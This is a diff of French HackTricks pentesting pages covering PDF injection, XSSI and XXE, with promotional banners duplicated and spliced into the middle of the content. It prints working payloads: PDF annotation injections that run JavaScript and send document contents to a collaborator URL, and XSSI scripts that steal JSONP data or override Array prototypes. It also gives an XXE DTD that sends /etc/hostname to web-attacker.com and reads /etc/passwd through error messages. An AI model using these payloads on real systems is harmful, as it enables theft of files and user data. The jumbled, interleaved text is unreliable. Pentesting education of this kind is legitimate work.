* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
**Si vos données sont reflétées à l'intérieur d'un fichier PDF, vous pouvez essayer d'injecter des données PDF pour exécuter du JavaScript ou voler le contenu du PDF.**
**Si votre entrée est reflétée dans un fichier PDF, vous pouvez essayer d'injecter des données PDF pour exécuter du JavaScript ou voler le contenu du PDF.**
Les informations suivantes ont été prises de [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
Consultez le post : [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
## PDF-Lib
Cette fois, j'utilisais [PDFLib](https://pdf-lib.js.org). J'ai pris du temps pour utiliser la bibliothèque afin de créer une annotation et voir si je pouvais injecter une parenthèse fermante dans l'URI de l'annotation - et ça a marché ! Le code vulnérable exemple que j'ai utilisé pour générer le code d'annotation était :
<details>
`...` \
`A: {`\
`Type: 'Action',`\
`S: 'URI',`\
``URI: PDFString.of(`injection)`),``\
`}`\
`})`\
`...`
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
[Code complet :](https://github.com/PortSwigger/portable-data-exfiltration/blob/main/PDF-research-samples/pdf-lib/first-injection/test.js)
Autres façons de soutenir HackTricks :
Comment savais-je que l'injection avait réussi ? Le PDF se rendrait correctement à moins que j'injecte une parenthèse fermante. Cela prouvait que la parenthèse fermante sortait de la chaîne et causait un code PDF invalide. Casser le PDF était bien, mais je devais m'assurer que je pouvais exécuter du JavaScript bien sûr. J'ai regardé le code PDF rendu et j'ai remarqué que la sortie était encodée en utilisant le filtre FlateDecode. J'ai écrit un petit script pour dégonfler le bloc et la sortie de la section d'annotation ressemblait à ceci :`<<`\
`/Type /Annot`\
`/Subtype /Link`\
`/Rect [ 50 746.89 320 711.89 ]`\
`/Border [ 0 0 2 ]`\
`/C [ 0 0 1 ]`\
`/A <<`\
`/Type /Action`\
`/S /URI`\
`/URI (injection))`\
`>>`\
`>>`
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
Comme vous pouvez clairement le voir, la chaîne d'injection ferme la limite du texte avec une parenthèse fermante, ce qui laisse une parenthèse fermante existante qui provoque le rendu incorrect du PDF :
![Capture d'écran montrant une boîte de dialogue d'erreur lors du chargement du PDF](https://portswigger.net/cms/images/34/f4/3ed2-article-screenshot-showing-damaged-pdf.png)
Génial, donc je pouvais casser le rendu du PDF, et maintenant ? Je devais trouver une injection qui appelait du JavaScript - l'alert(1) de l'injection PDF.
Tout comme les vecteurs XSS dépendent de l'analyse du navigateur, l'exploitabilité de l'injection PDF peut dépendre du moteur de rendu PDF. J'ai décidé de commencer par cibler Acrobat car je pensais que les vecteurs étaient moins susceptibles de fonctionner dans Chrome. Deux choses que j'ai remarquées : 1) Vous pouviez injecter des actions d'annotation supplémentaires et 2) si vous réparez la parenthèse fermante existante, alors le PDF se rendrait. Après quelques expérimentations, j'ai trouvé un joli payload qui injectait une action d'annotation supplémentaire, exécutait du JavaScript et réparait la parenthèse fermante :`/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action>>/>>(`
D'abord je sors de la parenthèse, puis je sors du dictionnaire en utilisant >> avant de commencer un nouveau dictionnaire d'annotation. Le /S/JavaScript rend l'annotation basée sur JavaScript et le /JS est où le JavaScript est stocké. À l'intérieur des parenthèses se trouve notre JavaScript réel. Notez que vous n'avez pas besoin d'échapper les parenthèses si elles sont équilibrées. Enfin, j'ajoute le type d'annotation, termine le dictionnaire et répare la parenthèse fermante. C'était tellement cool ; je pouvais créer une injection qui exécutait du JavaScript mais alors quoi, n'est-ce pas ? Vous pouvez exécuter du JavaScript mais vous n'avez pas accès au DOM, donc vous ne pouvez pas lire les cookies. Puis James est apparu et a suggéré de voler le contenu du PDF à partir de l'injection. J'ai commencé à chercher des moyens d'obtenir le contenu d'un PDF. Dans Acrobat, j'ai découvert que vous pouvez utiliser du JavaScript pour soumettre des formulaires sans aucune interaction utilisateur ! En regardant les spécifications de l'API JavaScript, il était assez simple de modifier l'injection de base et d'ajouter du JavaScript qui enverrait l'intégralité du contenu du code PDF à un serveur externe dans une requête POST :`/blah)>>/A<</S/JavaScript/JS(app.alert(1);`\
`this.submitForm({`\
`cURL: 'https://your-id.burpcollaborator.net',cSubmitAs: 'PDF'}))`\
`/Type/Action>>/>>(`
L'alerte n'est pas nécessaire ; je l'ai juste ajoutée pour prouver que l'injection exécutait du JavaScript.
Ensuite, juste pour le plaisir, j'ai regardé comment voler le contenu du PDF sans utiliser de JavaScript. À partir de la spécification PDF, j'ai découvert que vous pouvez utiliser une action appelée SubmitForm. Je l'ai utilisée dans le passé lorsque j'ai construit un PDF pour un contrôle de scan dans Burp Suite. Cela fait exactement ce que le nom implique. Il a également une entrée Flags dans le dictionnaire pour contrôler ce qui est soumis. La clé du dictionnaire Flags accepte une seule valeur entière, mais chaque paramètre individuel est contrôlé par un bit binaire. Une bonne façon de travailler avec ces paramètres est d'utiliser les nouveaux littéraux binaires dans ES6. Le littéral binaire doit être long de 14 bits car il y a 14 drapeaux au total. Dans l'exemple suivant, tous les paramètres sont désactivés :`0b00000000000000`
Pour définir un drapeau, vous devez d'abord rechercher sa position de bit (tableau 237 de la [spécification PDF](https://www.adobe.com/content/dam/acom/en/devnet/pdf/pdfs/PDF32000\_2008.pdf)). Dans ce cas, nous voulons définir le drapeau SubmitPDF. Comme cela est contrôlé par le 9ème bit, il suffit de compter 9 bits à partir de la droite :`0b00000100000000`
Si vous évaluez cela avec JavaScript, cela donne la valeur décimale 256. En d'autres termes, définir l'entrée Flags à 256 activera le drapeau SubmitPDF, ce qui provoquera l'envoi du contenu du PDF lors de la soumission du formulaire. Tout ce que nous avons à faire est d'utiliser l'injection de base que nous avons créée plus tôt et de la modifier pour appeler l'action SubmitForm au lieu de JavaScript :`/blah)>>/A<</S/SubmitForm/Flags 256/F(`\
`https://your-id.burpcollaborator.net)`\
`/Type/Action>>/>>(`
## sPDF
Ensuite, j'ai appliqué ma méthodologie à une autre bibliothèque PDF - [jsPDF](https://parall.ax/products/jspdf) - et j'ai découvert qu'elle était également vulnérable. Exploiter cette bibliothèque était assez amusant car ils ont une API qui peut s'exécuter dans le navigateur et vous permet de générer le PDF en temps réel au fur et à mesure que vous tapez. J'ai remarqué que, comme la bibliothèque PDP-Lib, ils avaient oublié d'échapper les parenthèses à l'intérieur des URL d'annotation. Ici, la propriété url était vulnérable :`doc.createAnnotation({bounds:`\
`{x:0,y:10,w:200,h:200},`\
``type:'link',url:`/input`});``\
`//vulnérable`
J'ai donc généré un PDF en utilisant leur API et injecté du code PDF dans la propriété url :
`var doc = new jsPDF();`\
`doc.text(20, 20, 'Hello world!');`\
`doc.addPage('a6','l');`\
`doc.createAnnotation({bounds:`\
`` {x:0,y:10,w:200,h:200},type:'link',url:` ``\
`/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action/F 0/(`\
`` `}); ``
J'ai réduit le vecteur en supprimant les entrées de type du dictionnaire et l'entrée F inutile. J'ai ensuite laissé une parenthèse suspendue qui serait fermée par celle existante. Réduire la taille de l'injection est important car l'application web dans laquelle vous injectez pourrait ne permettre qu'une quantité limitée de caractères.`/blah)>>/A<</S/JavaScript/JS(app.alert(1)`
J'ai ensuite découvert qu'il était possible de réduire encore plus le vecteur ! Acrobat permettrait une entrée URI et une entrée JavaScript dans une seule action d'annotation et exécuterait heureusement le JavaScript :`/)/S/JavaScript/JS(app.alert(1)`
Des recherches supplémentaires ont révélé que vous pouvez également injecter plusieurs annotations. Cela signifie qu'au lieu de simplement injecter une action, vous pourriez sortir de l'annotation et définir vos propres coordonnées rect pour choisir quelle section du document serait cliquable. En utilisant cette technique, j'ai pu rendre l'ensemble du document cliquable. `/) >> >>`\
`<</Type /Annot /Subtype /Link /Rect [0.00 813.54 566.93 -298.27] /Border [0 0`\
`0] /A <</S/SubmitForm/Flags 0/F(https://your-id.burpcollaborator.net`
## Exécuter des annotations sans interaction
Jusqu'à présent, les vecteurs que j'ai démontrés nécessitent un clic pour activer l'action de l'annotation. Typiquement, James a posé la question "Pouvons-nous exécuter automatiquement ?". J'ai parcouru la spécification PDF et j'ai remarqué des fonctionnalités intéressantes des annotations :
"Les entrées **PV** et **PI** permettent une distinction entre les pages qui sont ouvertes et les pages qui sont visibles. À tout moment, une seule page est considérée comme ouverte dans l'application de visualisation, tandis que plusieurs pages peuvent être visibles, en fonction de la disposition des pages."
Nous pouvons ajouter l'entrée PV au dictionnaire et l'annotation se déclenchera automatiquement sur Acrobat ! Non seulement cela, mais nous pouvons également exécuter un payload automatiquement lorsque le document PDF est fermé en utilisant l'entrée PC. Un attaquant pourrait vous suivre lorsque vous ouvrez le PDF et le fermez.
Voici comment exécuter automatiquement à partir d'une annotation :`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/)``\
`>> >>`\
``<</Subtype /Screen /Rect [0 0 900 900] /AA <</PV <</S/JavaScript/JS(app.alert(1))>>/(`});``\
`doc.text(20, 20, 'Exécution automatique');`
Lorsque vous fermez le PDF, cette annotation se déclenchera :`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h[...]
</details>

85
pentesting-web/xssi-cross-site-script-inclusion.md
View file

@ -1,51 +1,48 @@
# XSSI (Cross-Site Script Inclusion)
# XSSI (Inclusion de script entre sites)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
#### Les informations ont été prises de [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)
## Informations de base
XSSI désigne un type de vulnérabilité qui exploite le fait que, lorsqu'une **ressource est incluse en utilisant la balise `script`, la SOP ne s'applique pas**, car les scripts doivent pouvoir être inclus de manière trans-domaine. Un attaquant peut donc **tout lire** ce qui a été inclus en utilisant la **balise `script`**.
XSSI désigne un type de vulnérabilité qui exploite le fait que, lorsqu'une **ressource est incluse en utilisant la balise `script`, la SOP ne s'applique pas**, car les scripts doivent pouvoir être inclus entre domaines. Un attaquant peut donc **lire tout** ce qui a été inclus en utilisant la balise **`script`**.
Cela est particulièrement intéressant lorsqu'il s'agit de JavaScript dynamique ou de JSONP lorsque des informations d'autorité ambiante comme les cookies sont utilisées pour l'authentification. Les cookies sont inclus lors de la demande d'une ressource depuis un hôte différent.
Cela est particulièrement intéressant lorsqu'il s'agit de JavaScript dynamique ou de JSONP, lorsque des informations d'autorisation dites d'autorité ambiante comme les cookies sont utilisées pour l'authentification. Les cookies sont inclus lors de la demande d'une ressource provenant d'un hôte différent.
### Types
1. JavaScript statique (XSSI régulier)
2. JavaScript statique, qui n'est accessible que lorsqu'on est authentifié
2. JavaScript statique, accessible uniquement lorsque authentifié
3. JavaScript dynamique
4. Non-JavaScript
## XSSI régulier
**Les informations suivantes sont un résumé de [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Consultez-le pour plus de détails.
Les informations privées se trouvent à l'intérieur d'un fichier JS accessible globalement, vous pouvez simplement détecter cela en lisant des fichiers, en recherchant des mots-clés ou en utilisant des regexps.\
Pour exploiter cela, incluez simplement le script contenant des informations privées à l'intérieur du contenu malveillant :
```markup
### XSSI régulier
Dans cette approche, des informations privées sont intégrées dans un fichier JavaScript accessible globalement. Les attaquants peuvent identifier ces fichiers en utilisant des méthodes telles que la lecture de fichiers, les recherches de mots-clés ou les expressions régulières. Une fois localisé, le script contenant des informations privées peut être inclus dans un contenu malveillant, permettant un accès non autorisé à des données sensibles. Une technique d'exploitation exemple est présentée ci-dessous:
```html
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
```
## Dynamic-JavaScript-based-XSSI et Authenticated-JavaScript-XSSI
### Dynamic-JavaScript-based-XSSI and Authenticated-JavaScript-XSSI
Ces types d'attaques XSSI impliquent l'ajout dynamique d'informations confidentielles au script en réponse à une requête de l'utilisateur. La détection peut être effectuée en envoyant des requêtes avec et sans cookies et en comparant les réponses. Si les informations diffèrent, cela peut indiquer la présence d'informations confidentielles. Ce processus peut être automatisé en utilisant des outils comme l'extension Burp [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS).
**Des informations confidentielles sont ajoutées au script lorsqu'un utilisateur en fait la demande**. Cela peut être facilement découvert en envoyant la requête **avec et sans les cookies**, si **des informations différentes** sont récupérées, alors des informations confidentielles pourraient être contenues. Pour faire cela automatiquement, vous pouvez utiliser l'extension burp : [https://github.com/luh2/DetectDynamicJS](https://github.com/luh2/DetectDynamicJS).
Si l'information réside à l'intérieur d'une variable globale, vous pouvez l'exploiter en utilisant le même code que pour le cas précédent.\
Si les données confidentielles sont envoyées à l'intérieur d'une réponse JSONP, vous pouvez redéfinir la fonction exécutée pour récupérer l'information :
```markup
Si des données confidentielles sont stockées dans une variable globale, elles peuvent être exploitées en utilisant des méthodes similaires à celles utilisées dans le XSSI régulier. Cependant, si les données confidentielles sont incluses dans une réponse JSONP, les attaquants peuvent détourner la fonction de rappel pour récupérer les informations. Cela peut être fait en manipulant des objets globaux ou en configurant une fonction à exécuter par la réponse JSONP, comme démontré ci-dessous:
```html
<script>
//The confidential info will be inside the callback to angular.callbacks._7: angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
@ -54,8 +51,8 @@ alert(JSON.stringify(leaked));
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
```
Ou vous pourriez également définir une fonction préparée pour être exécutée par la réponse JSONP :
```markup
```html
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
@ -63,52 +60,34 @@ alert(JSON.stringify(leaked));
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
```
Si une variable ne réside pas dans l'espace de noms global, parfois cela peut être exploité en utilisant le _prototype tampering_. Le prototype tampering abuse de la conception de JavaScript, à savoir que lors de l'interprétation du code, JavaScript parcourt la chaîne de prototypes pour trouver la propriété appelée. L'exemple suivant est extrait du document [The Unexpected Dangers of Dynamic JavaScript](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf) et démontre comment en surchargeant une fonction pertinente de type `Array` et l'accès à `this`, une variable non globale peut également être divulguée.
```javascript
(function(){
var arr = ["secret1", "secret2", "secret3"];
// intents to slice out first entry
var x = arr.slice(1);
...
})();
```
Dans le code original, `slice` de type `Array` accède aux données qui nous intéressent. Un attaquant peut, comme décrit dans la clause précédente, remplacer `slice` et voler les secrets.
Pour les variables ne résidant pas dans l'espace de noms global, *la falsification de prototype* peut parfois être exploitée. Cette technique exploite la conception de JavaScript, où l'interprétation du code implique de parcourir la chaîne de prototype pour localiser la propriété appelée. En remplaçant certaines fonctions, telles que `slice` de `Array`, les attaquants peuvent accéder et divulguer des variables non globales :
```javascript
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
Chercheur en sécurité [Sebastian Lekies](https://twitter.com/slekies) a récemment mis à jour sa liste de [vecteurs](http://sebastian-lekies.de/leak/).
### Non-Script-XSSI
Les détails supplémentaires sur les vecteurs d'attaque peuvent être trouvés dans le travail du chercheur en sécurité [Sebastian Lekies](https://twitter.com/slekies), qui maintient une liste de [vecteurs](http://sebastian-lekies.de/leak/).
## Non-Script-XSSI
Takeshi Terada décrit un autre type de XSSI dans son article [Identifier based XSSI attacks](https://www.mbsd.jp/Whitepaper/xssi.pdf). Il a réussi à divulguer des fichiers Non-Script en cross-origin en incluant, entre autres, des fichiers CSV comme source dans la balise `script`, en utilisant les données comme noms de variables et de fonctions.
La première attaque XSSI documentée publiquement date de 2006. L'entrée de blog de Jeremiah Grossman [Advanced Web Attack Techniques using GMail](http://jeremiahgrossman.blogspot.ch/2006/01/advanced-web-attack-techniques-using.html) décrit une XSSI, qui, en remplaçant le constructeur `Array`, a pu lire l'intégralité du carnet d'adresses d'un compte google.
En 2007, Joe Walker a publié [JSON is not as safe as people think it is](http://incompleteness.me/blog/2007/03/05/json-is-not-as-safe-as-people-think-it-is/). Il utilise la même idée pour voler du JSON qui se trouve dans un `Array`.
D'autres attaques connexes ont été menées en injectant du contenu encodé en UTF-7 dans le JSON pour échapper au format JSON. Cela est décrit par Gareth Heyes, auteur de [Hackvertor](https://hackvertor.co.uk/public), dans l'entrée de blog [JSON Hijacking](http://www.thespanner.co.uk/2011/05/30/json-hijacking/) publiée en 2011. Lors d'un test rapide, cela était encore possible dans Microsoft Internet Explorer et Edge, mais pas dans Mozilla Firefox ou Google Chrome.
JSON avec UTF-7 :
Takeshi Terada a introduit une autre forme de XSSI, où des fichiers Non-Script, tels que des fichiers CSV, sont divulgués en cross-origin en étant inclus en tant que sources dans une balise `script`. Des exemples historiques de XSSI, tels que l'attaque de 2006 de Jeremiah Grossman pour lire un carnet d'adresses complet de Google et la fuite de données JSON de 2007 de Joe Walker, mettent en évidence la gravité de ces menaces. De plus, Gareth Heyes décrit une variante d'attaque impliquant du JSON encodé en UTF-7 pour échapper au format JSON et exécuter des scripts, efficace dans certains navigateurs:
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
Inclure le JSON dans la page de l'attaquant
```markup
```html
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
```
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
D'autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

110
pentesting-web/xxe-xee-xml-external-entity.md
View file

@ -100,6 +100,8 @@ Dans ce troisième cas, remarquez que nous déclarons l'`Element stockCheck` com
<storeId>1</storeId>
</stockCheck3>
```
![](<../.gitbook/assets/image (222) (1).png>)
### Listing de répertoire
Dans les applications basées sur **Java**, il pourrait être possible de **list the contents of a directory** via XXE with a payload like (just asking for the directory instead of the file):
@ -128,38 +130,45 @@ En utilisant la **technique précédemment commentée**, vous pouvez amener le s
```
### "Aveugle" SSRF - Exfiltrer des données hors bande
**Dans ce cas, nous allons faire charger au serveur un nouveau DTD avec une charge utile malveillante qui enverra le contenu d'un fichier via une requête HTTP (pour les fichiers multi-lignes, vous pourriez essayer de l'exfiltrer via** _**ftp://**_**). Cette explication est tirée du** [**laboratoire de Portswigger ici**](https://portswigger.net/web-security/xxe/blind)**.**
**Dans ce cas, nous allons faire en sorte que le serveur charge un nouveau DTD avec une charge utile malveillante qui enverra le contenu d'un fichier via une requête HTTP (pour les fichiers multi-lignes, vous pourriez essayer de l'exfiltrer via** _**ftp://**_**). Cette explication est basée sur le** [**laboratoire de Portswigger ici**](https://portswigger.net/web-security/xxe/blind)**.**
Un exemple de DTD malveillant pour exfiltrer le contenu du fichier `/etc/hostname` est le suivant:
```markup
Dans le DTD malveillant donné, une série d'étapes sont effectuées pour exfiltrer des données :
### Exemple de DTD Malveillant :
La structure est la suivante :
```xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```
Ce DTD effectue les étapes suivantes:
Les étapes exécutées par cette DTD comprennent:
* Définit une entité de paramètre XML appelée `file`, contenant le contenu du fichier `/etc/passwd`.
* Définit une entité de paramètre XML appelée `eval`, contenant une déclaration dynamique d'une autre entité de paramètre XML appelée `exfiltrate`. L'entité `exfiltrate` sera évaluée en effectuant une requête HTTP vers le serveur web de l'attaquant contenant la valeur de l'entité `file` dans la chaîne de requête URL.
* Utilise l'entité `eval`, ce qui provoque l'exécution dynamique de l'entité `exfiltrate`.
* Utilise l'entité `exfiltrate`, de sorte que sa valeur soit évaluée en demandant l'URL spécifiée.
1. **Définition des entités de paramètres:**
- Une entité de paramètre XML, `%file`, est créée, lisant le contenu du fichier `/etc/hostname`.
- Une autre entité de paramètre XML, `%eval`, est définie. Elle déclare dynamiquement une nouvelle entité de paramètre XML, `%exfiltrate`. L'entité `%exfiltrate` est configurée pour effectuer une requête HTTP vers le serveur de l'attaquant, transmettant le contenu de l'entité `%file` dans la chaîne de requête de l'URL.
L'attaquant doit ensuite héberger le DTD malveillant sur un système qu'il contrôle, généralement en le chargeant sur son propre serveur web. Par exemple, l'attaquant pourrait servir le DTD malveillant à l'URL suivante:\
`http://web-attaquant.com/malicious.dtd`
2. **Exécution des entités:**
- L'entité `%eval` est utilisée, entraînant l'exécution de la déclaration dynamique de l'entité `%exfiltrate`.
- L'entité `%exfiltrate` est ensuite utilisée, déclenchant une requête HTTP vers l'URL spécifié avec le contenu du fichier.
Enfin, l'attaquant doit soumettre la charge utile XXE suivante à l'application vulnérable:
```markup
L'attaquant héberge cette DTD malveillante sur un serveur sous leur contrôle, généralement à une URL comme `http://web-attaquant.com/malicious.dtd`.
**Charge utile XXE:**
Pour exploiter une application vulnérable, l'attaquant envoie une charge utile XXE:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Ce payload XXE déclare une entité de paramètre XML appelée `xxe`, puis utilise l'entité dans le DTD. Cela va amener l'analyseur XML à récupérer le DTD externe depuis le serveur de l'attaquant et à l'interpréter en ligne. Les étapes définies dans le DTD malveillant sont ensuite exécutées, et le fichier `/etc/passwd` est transmis au serveur de l'attaquant.
Ce payload définit une entité de paramètre XML `%xxe` et l'incorpore dans le DTD. Lorsqu'il est traité par un analyseur XML, ce payload récupère le DTD externe à partir du serveur de l'attaquant. L'analyseur interprète ensuite le DTD en ligne, exécutant les étapes décrites dans le DTD malveillant et conduisant à l'exfiltration du fichier `/etc/hostname` vers le serveur de l'attaquant.
### Basé sur les erreurs (DTD externe)
**Dans ce cas, nous allons amener le serveur à charger un DTD malveillant qui affichera le contenu d'un fichier à l'intérieur d'un message d'erreur (valable uniquement si vous pouvez voir les messages d'erreur).** [**Exemple ici.**](https://portswigger.net/web-security/xxe/blind)
**Dans ce cas, nous allons faire en sorte que le serveur charge un DTD malveillant qui affichera le contenu d'un fichier à l'intérieur d'un message d'erreur (ceci est uniquement valable si vous pouvez voir les messages d'erreur).** [**Exemple ici.**](https://portswigger.net/web-security/xxe/blind)
Vous pouvez déclencher un message d'erreur d'analyse XML contenant le contenu du fichier `/etc/passwd` en utilisant un DTD externe malveillant comme suit:
Vous pouvez déclencher un message d'erreur de parsing XML contenant le contenu du fichier `/etc/passwd` en utilisant un DTD externe malveillant comme suit:
```markup
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
@ -192,7 +201,7 @@ Alors, que dire des vulnérabilités XXE aveugles lorsque les **interactions hor
Une faille dans la spécification du langage XML peut **exposer des données sensibles à travers des messages d'erreur lorsque le DTD d'un document mélange des déclarations internes et externes**. Ce problème permet la redéfinition interne des entités déclarées de manière externe, facilitant l'exécution d'attaques XXE basées sur les erreurs. De telles attaques exploitent la redéfinition d'une entité de paramètre XML, initialement déclarée dans un DTD externe, à partir d'un DTD interne. Lorsque les connexions hors bande sont bloquées par le serveur, les attaquants doivent se fier aux fichiers DTD locaux pour mener l'attaque, visant à induire une erreur d'analyse pour révéler des informations sensibles.
Considérez un scénario où le système de fichiers du serveur contient un fichier DTD à `/usr/local/app/schema.dtd`, définissant une entité nommée `custom_entity`. Un attaquant peut induire une erreur d'analyse XML révélant le contenu du fichier `/etc/passwd` en soumettant un DTD hybride comme suit:
Considérons un scénario où le système de fichiers du serveur contient un fichier DTD à `/usr/local/app/schema.dtd`, définissant une entité nommée `custom_entity`. Un attaquant peut induire une erreur d'analyse XML révélant le contenu du fichier `/etc/passwd` en soumettant un DTD hybride comme suit:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@ -209,9 +218,10 @@ Les étapes décrites sont exécutées par cette DTD :
- La définition d'une entité de paramètre XML nommée `local_dtd` inclut le fichier DTD externe situé sur le système de fichiers du serveur.
